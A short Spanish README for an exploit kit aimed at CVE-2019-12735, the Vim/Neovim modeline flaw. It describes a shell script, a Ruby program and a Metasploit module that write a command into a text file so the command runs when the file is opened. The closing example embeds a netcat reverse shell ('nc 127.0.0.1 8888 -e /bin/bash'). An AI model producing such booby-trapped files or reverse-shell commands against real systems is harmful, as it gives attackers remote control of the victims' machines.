Script con fines educativos que explota la vulnerabilidad de vim.
El script aprovecha la vulnerabilidad(CVE-2019-12735) de Vim < 8.1,1365 y Neovim < 0.3.6 que permite ejecutar código dentro de un archivo de texto por medio de modelines al momento de abrirlo. Dicho script fue desarrollado con fines educativos y queda bajo responsabilidad de quien lo usa.
- modeline.sh, script shell que recibe como parámetro el comando a inyectar en el archivo de texto.
- modeline.rb, programa en ruby que solicita el nombre del archivo, texto a ingresar en el archivo de texto y comando a inyectar.
- modeline-vim.rb, módulo para metasploit.
Se recomienda que se abra con el editor emacs o algún otro editor de texto que sea vim, ya que se ejecuta la vulnerabilidad y distorsiona el archivo 😄. En caso de que se desea usar vim se debe de desabilitar el modelines (:set nomodeline).
modeline.sh requiere solamente de un parámetro, el cual tiene que ser un comando con sus respectivos parámetros(opcional).
chmod 700 modeline.sh
modeline.sh _comando_ > archivoTexto.
Se utilizará el comando nc para realizar un shell inverso.
modeline.sh nc 127.0.0.1 8888 -e /bin/bash > datos.txt